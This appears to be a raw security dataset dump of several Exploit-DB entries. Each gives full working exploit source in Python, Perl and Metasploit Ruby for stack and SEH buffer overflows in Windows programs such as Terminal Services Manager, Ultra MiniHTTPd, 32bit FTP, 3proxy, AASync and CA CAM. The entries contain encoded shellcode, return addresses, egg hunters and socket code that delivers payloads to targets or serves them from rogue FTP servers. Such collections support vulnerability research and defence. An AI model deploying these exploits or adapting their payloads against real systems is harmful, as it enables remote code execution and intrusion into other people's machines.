deardaniel/secdata-raw huggingface dataset:
Exploit-DB #46058
Description: Terminal Services Manager 3.1 - Local Buffer Overflow (SEH)
Type: local
Platform: windows_x86
Date: 2018-12-27
Author: bzyo

Exploit:
# Exploit Title: Terminal Services Manager 3.1 - Buffer Overflow (SEH)
# Date: 2018-12-25
# Exploit Author: bzyo
# Twitter: @bzyo_
# Vulnerable Software: Terminal Services Manager 3.1
# Vendor Homepage: https://lizardsystems.com
# Version: 3.1 
# Software Link: https://lizardsystems.com/download/tsmanager_setup.exe
# Tested Windows 7 SP1 x86

# Other affected software from the vendor
# Software Link: https://lizardsystems.com/download/rpexplorer_setup.exe
# Software Link: https://lizardsystems.com/download/rshutdown_setup.exe
# Software Link: https://lizardsystems.com/download/rdaudit_setup.exe

# PoC
# 1. run script
# 2. run add computers wizard
# 3. select import from files
# 4. paste tsmang.txt into computer names field
# 5. pop calc

#bad chars \x00\x0d\x0e

#!/usr/bin/python

import struct

junk2 = "A"*100
junk1 = "B"*74
jmp2 = "\xe9\x71\xfe\xff\xff\xcc"
jmp1 = "\xeb\xf8\xcc\xcc"

#0x0049709f : pop esi # pop ebx # ret  tsmanager.exe
seh = struct.pack('<L',0x0049709f)

#Payload size: 220 bytes
#msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0d\x0e" -f python
calc =  ""
calc += "\xdb\xcd\xd9\x74\x24\xf4\x5a\x2b\xc9\xbe\xbb\x1e\xdd"
calc += "\x8e\xb1\x31\x31\x72\x18\x83\xc2\x04\x03\x72\xaf\xfc"
calc += "\x28\x72\x27\x82\xd3\x8b\xb7\xe3\x5a\x6e\x86\x23\x38"
calc += "\xfa\xb8\x93\x4a\xae\x34\x5f\x1e\x5b\xcf\x2d\xb7\x6c"
calc += "\x78\x9b\xe1\x43\x79\xb0\xd2\xc2\xf9\xcb\x06\x25\xc0"
calc += "\x03\x5b\x24\x05\x79\x96\x74\xde\xf5\x05\x69\x6b\x43"
calc += "\x96\x02\x27\x45\x9e\xf7\xff\x64\x8f\xa9\x74\x3f\x0f"
calc += "\x4b\x59\x4b\x06\x53\xbe\x76\xd0\xe8\x74\x0c\xe3\x38"
calc += "\x45\xed\x48\x05\x6a\x1c\x90\x41\x4c\xff\xe7\xbb\xaf"
calc += "\x82\xff\x7f\xd2\x58\x75\x64\x74\x2a\x2d\x40\x85\xff"
calc += "\xa8\x03\x89\xb4\xbf\x4c\x8d\x4b\x13\xe7\xa9\xc0\x92"
calc += "\x28\x38\x92\xb0\xec\x61\x40\xd8\xb5\xcf\x27\xe5\xa6"
calc += "\xb0\x98\x43\xac\x5c\xcc\xf9\xef\x0a\x13\x8f\x95\x78"
calc += "\x13\x8f\x95\x2c\x7c\xbe\x1e\xa3\xfb\x3f\xf5\x80\xf4"
calc += "\x75\x54\xa0\x9c\xd3\x0c\xf1\xc0\xe3\xfa\x35\xfd\x67"
calc += "\x0f\xc5\xfa\x78\x7a\xc0\x47\x3f\x96\xb8\xd8\xaa\x98"
calc += "\x6f\xd8\xfe\xfa\xee\x4a\x62\xd3\x95\xea\x01\x2b"

buffer = junk2 + calc + junk1 + jmp2 + jmp1 + seh

with open("tsmang.txt","wb") as f:
    f.write(buffer[:-1])
Exploit-DB #44472
Description: Ultra MiniHTTPd 1.2 - 'GET' Remote Stack Buffer Overflow (PoC)
Type: local
Platform: windows_x86
Date: 2018-04-17
Author: jollymongrel

Exploit:
# Exploit Title: Ultra MiniHTTPd 1.2 - 'GET' Remote Stack Buffer Overflow
# Date: 2018-04-14
# Exploit Author: jollymongrel
# Vendor Homepage: http://www.vector.co.jp
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Version: 1.2
# Tested on: Windows 7 32-bit
# CVE : CVE-2013-5019

import sys
import socket
import struct

eip = struct.pack('I', 0x764046cd) #call esp [msvcrt.dll]

#windows/exec - 274 bytes
#http://www.metasploit.com
#Encoder: x86/shikata_ga_nai
#EXITFUNC=thread
#CMD=calc.exe
#badchars='\x00\x09\x0a\x0b\x0c\x0d\x20\x2f\x3f'
shellcode = ("no0bno0b"+"\xb8\x21\xa0\xa2\xbd\xdb\xd1\xd9\x74\x24\xf4\x5b\x31\xc9\xb1"
"\x3e\x31\x43\x15\x83\xc3\x04\x03\x43\x11\xe2\xd4\x1a\x51\xd8"
"\x25\xbd\x4c\xf4\x90\x35\x55\x0f\x79\x9f\x5c\x5e\x45\x5c\xb5"
"\x5d\x84\x31\x44\x9d\x46\xde\x89\xb2\x1a\x92\xe6\x1d\x26\x1d"
"\xa1\xb0\xfa\x6c\x5a\x1e\xf7\xb7\xb6\xfb\x71\xbf\x2a\x51\xb6"
"\x2a\x53\x27\x2a\x43\x49\x67\xe7\x66\x6a\x6e\xe3\x10\x46\x27"
"\xe5\x1f\xc5\xb5\xad\x32\x57\x38\xd3\x66\xa8\xa7\xf8\xe0\xfc"
"\x1a\x33\xce\x22\xf0\xad\x34\xff\x3a\x42\x91\x07\x6d\xe5\xf1"
"\x79\x73\xa3\xe9\xbf\xd7\xbf\xa7\x10\x06\xf2\x2c\x81\x6a\xa0"
"\x97\x46\xae\xe7\x33\x1c\x87\x02\x5d\x8d\xd7\x5a\xbe\x7c\xa9"
"\x96\x7f\x04\xbd\xe4\xb5\xbc\xa0\xf5\xf3\x12\x66\x6c\xbc\xb7"
"\xb2\x49\x01\x66\xd3\x8f\x40\x5b\x33\x07\x22\x30\x0e\x11\xc6"
"\x89\xfa\xbc\x18\x0f\x33\x18\xb1\x01\xe0\x53\x4a\x23\xab\x77"
"\x17\x7f\xf8\x4f\xdd\x01\x79\x04\xa6\x82\xe0\xc4\x33\x06\x12"
"\x36\x43\x2d\xc6\x8a\xfb\x24\x67\x4a\xc6\x5a\x4a\x4c\x97\x4c"
"\x1b\x68\x98\xf8\x45\x2d\x86\x43\xbe\x0e\x96\x8f\xca\x89\x7e"
"\x5b\xe1\x8b\xb2\x5f\xd0\x94\xdf\x5e\x7c\x0e\x25\xa5\xf7\xea"
"\x9d\x1b\xa9\x58\x50\x3a\xb8\x77\x16\xb1\x87\x48\x94\x37\x87"
"\x9a\x9d\xe2\xd0")

#egg hunter to search for no0bno0b
egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
"\xef\xb8\x6e\x6f\x30\x62\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7")

payload = "A" * 537
payload += shellcode
payload += "A" * (967 - len(payload))
payload += eip
payload += egghunter
payload += "\xff\xe7" #jmp edi
payload += "C" * (1007 - len(payload))

print "[+] sending payload, length", len(payload)

buf = "GET /"+payload+"HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.32.175", 80))
s.send(buf)
data = s.recv(1024)
s.close()
Exploit-DB #8614
Description: 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow
Type: remote
Platform: windows_x86
Date: 2009-05-05
Author: His0k4

Exploit:
#!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : 32bit FTP (09.04.24) (Banner) Remote Buffer Overflow Exploit
#[*] Founder : Load 99%
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

from socket import *

payload = "\x41"*989
payload += "\x67\x86\x86\x7C" # jmp esp kernerl32.dll

 # win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload += (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
raw_input("[+] Done, press enter to quit")
s.close()

# milw0rm.com [2009-05-05]
Exploit-DB #8613
Description: 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow
Type: remote
Platform: windows_x86
Date: 2009-05-05
Author: His0k4

Exploit:
#!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : 32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit
#[*] Refer : http://www.milw0rm.com/exploits/8611
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

from socket import *

payload = "\x41"*1020
payload += "\x67\x86\x86\x7C" # jmp esp kernel32.dll

 # win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload += (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 Hello\r\n")
c.recv(1024)
c.send("331 pwd please\r\n")
c.recv(1024)
c.send("230 OK\r\n")
c.recv(1024)
c.send("250 CWD command successful.\r\n")
c.recv(1024)
c.send("257 "+payload+" is current directory.")
c.close()
raw_input("[+] Done, press enter to quit")
s.close()

# milw0rm.com [2009-05-05]
Exploit-DB #8621
Description: 32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH)
Type: remote
Platform: windows_x86
Date: 2009-05-05
Author: His0k4

Exploit:
#!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : 32bit FTP (09.04.24) (CWD Response) Universal Seh Overwrite Exploit
#[*] Refer : http://www.milw0rm.com/exploits/8611
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

from socket import *

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x48\x4e\x57"
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x30\x45\x57\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x58"
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x32\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x47\x4e\x31\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x4a\x36\x4e\x53\x4f\x45\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x47"
"\x42\x35\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x55\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x46\x43\x46\x42\x50\x5a")

buffer =   '\x41'*4335
buffer +=  shellcode
buffer +=  '\xE9\xA4\xFE\xFF\xFF' # nro7o nro7o lel shellcode nro7o :p
buffer +=  '\x90'*49
buffer +=  '\x74\xC8\x90\x90' # to the end and its a new Beginning ;)
buffer +=  '\x30\x14\x45\x00' #universal pop-pop-ret 32bitftp.exe

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 chtawala chtakayen\r\n")
c.recv(1024)
c.send("331 pwd please\r\n")
c.recv(1024)
c.send("230 OK\r\n")
c.recv(1024)
c.send("250 CWD command successful.\r\n")
c.recv(1024)
c.send("257 "+buffer+" is current directory.")
c.close()
raw_input("[+] Done, press enter to quit")
s.close()

# milw0rm.com [2009-05-05]
Exploit-DB #4754
Description: 3proxy 0.5.3g (Windows x86) - 'logurl()' Remote Buffer Overflow
Type: remote
Platform: windows_x86
Date: 2007-12-18
Author: Marcin Kozlowski

Exploit:
#!/usr/bin/perl
#This module exploits a stack overflow in 3Proxy prior to 0.5.3h, and 0.6b-devel before 20070413. By sending a long host header in HTTP GET request to the default port of # 3128, a remote attacker could overflow a buffer and execute arbitrary code.
#                         
# Marcin Kozlowski based on vade79 PoC
#



#IO::Socket for network connections
use IO::Socket;

#the ip address is our first commandline argument also known as ARGV[0] in Perl
$ip = $ARGV[0];

#our nopsled
$nopsled = "\x90"x36;
$A = "A" x 1064;
$B = "B" x 999;



#execute calc.exe
#
$payload = 

"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02".
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48".
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4".
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12".
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69".
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6".
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5".
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21".
"\x61\xdd\x0e\x4d";


#our extended instruction pointer which we use to overwrite the remote eip
#remeber to make it little-endian format

$eip = "\x72\x93\xab\x71"; #call esp


#we construct our full attackstring here
$attackstring = "GET /".$A.$eip.$nopsled.$payload." HTTP/1.0\nHost: ".$B."\n\n";


print $attackstring;

#view a message if no ip address is given
if(!$ip)
{

die "You have to provide the target's IP Address..\n";

}

#the remote port to connect to
$port = '3128';

#the connection protocol to use
$protocol = 'tcp';

#create the actual network connection
#and print an error message if it's not possible to create a socket
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>$protocol,
                                Timeout=>'1') || die "Could not create socket\n";


#send the payload to the remote computer
print $socket $attackstring;

#close the connection
close($socket);

# milw0rm.com [2007-12-18]
Exploit-DB #16738
Description: AASync 2.2.1.0 (Windows x86) - Remote Stack Buffer Overflow 'LIST' (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-11-14
Author: Metasploit

Exploit:
##
# $Id: aasync_list_reply.rb 11039 2010-11-14 19:03:24Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::FtpServer

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'AASync v2.2.1.0 (Win32) Stack Buffer Overflow (LIST)',
			'Description'    => %q{
					This module exploits a stack buffer overflow in AASync v2.2.1.0, triggered when
				processing the response on a LIST command. During the overflow, a structured exception
				handler record gets overwritten.
			},
			'Author' 	 =>
				[
					'corelanc0d3r', #found bug and wrote the exploit
				],
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 11039 $",
			'References'     =>
				[
					[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XP SP3 Universal', { 'Offset' => 6340,'Ret' => 0x61181674  } ],  # ppr [pthreadgc2.dll]
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Oct 12 2010',
			'DefaultTarget'  => 0))

	end

	#---------------------------------------------------------------------------------

	def setup
		super
	end

	def on_client_unknown_command(c,cmd,arg)
		c.put("200 OK\r\n")
	end

	def on_client_command_list(c,arg)
			conn = establish_data_connection(c)
			if(not conn)
				c.put("425 Can't build data connection\r\n")
				return
			end
			print_status(" - Data connection set up")
			code = 150
			c.put("#{code} Here comes the directory listing.\r\n")
			code = 226
			c.put("#{code} Directory send ok.\r\n")
			offset_to_nseh = target['Offset']
			filename = "admin passwords.txt"
			padding = " " * (offset_to_nseh-filename.length)
			nseh = "\xeb\x0c\x41\x41"
			seh = [target.ret].pack('V') #\x74\x16 = jump
			nops = "A" * 30
			junk2 = "A" * 5000
			#dual offsets to seh
			buffer = filename + padding + nseh + seh + seh + nops + payload.encoded + junk2
			print_status(" - Sending directory list via data connection")
			dirlist = "-rw-rw-r--    1 1176     1176         1060 Aug 16 22:22 #{buffer}\r\n"
			conn.put(dirlist)
			conn.close
			print_status(" - Payload sent")
			return
	end

end
Exploit-DB #16825
Description: CA CAM (Windows x86) - 'log_security()' Remote Stack Buffer Overflow (Metasploit)
Type: remote
Platform: windows_x86
Date: 2010-09-20
Author: Metasploit

Exploit:
##
# $Id: cam_log_security.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'CA CAM log_security() Stack Buffer Overflow (Win32)',
			'Description'    => %q{
					This module exploits a vulnerability in the CA CAM service
				by passing a long parameter to the log_security() function.
				The CAM service is part of TNG Unicenter. This module has
				been tested on Unicenter v3.1.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 10394 $',
			'References'     =>
				[
					['CVE', '2005-2668'],
					['OSVDB', '18916'],
					['BID', '14622'],
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Targets'        =>
				[
					# W2API.DLL @ 0x01950000 - return to ESI
					['W2API.DLL TNG 2.3',  { 'Platform' => 'win', 'Ret' => 0x01951107 }],

					# Return to ESI in ws2help.dll
					['Windows 2000 SP0-SP4 English', { 'Platform' => 'win', 'Ret' => 0x750217ae }],
					['Windows XP SP0-SP1 English',   { 'Platform' => 'win', 'Ret' => 0x71aa16e5 }],
					['Windows XP SP2 English',       { 'Platform' => 'win', 'Ret' => 0x71aa1b22 }],
					['Windows 2003 SP0 English',     { 'Platform' => 'win', 'Ret' => 0x71bf175f }],
				],
			'DisclosureDate' => 'Aug 22 2005',
			'DefaultTarget' => 0))
	end


	def check
		connect
		ack = sock.get_once
		disconnect

		(ack == "ACK\x00") ? Exploit::CheckCode::Detected : Exploit::CheckCode::Safe
	end

	def exploit
		connect

		ack = sock.get_once
		if (ack != "ACK\x00")
			print_status("The CAM service is not responding")
		end

		buf = rand_text_english(4096, payload_badchars)

		# Offset 1016 for EIP, 1024 = ESP, 1052 = ESI
		buf[ 1016, 4 ] = [target.ret].pack('V')
		buf[ 1052, payload.encoded.length ] = payload.encoded

		sock.put("\xfa\xf9\x00\x10" + buf + "\x00")

		handler
		disconnect
	end

end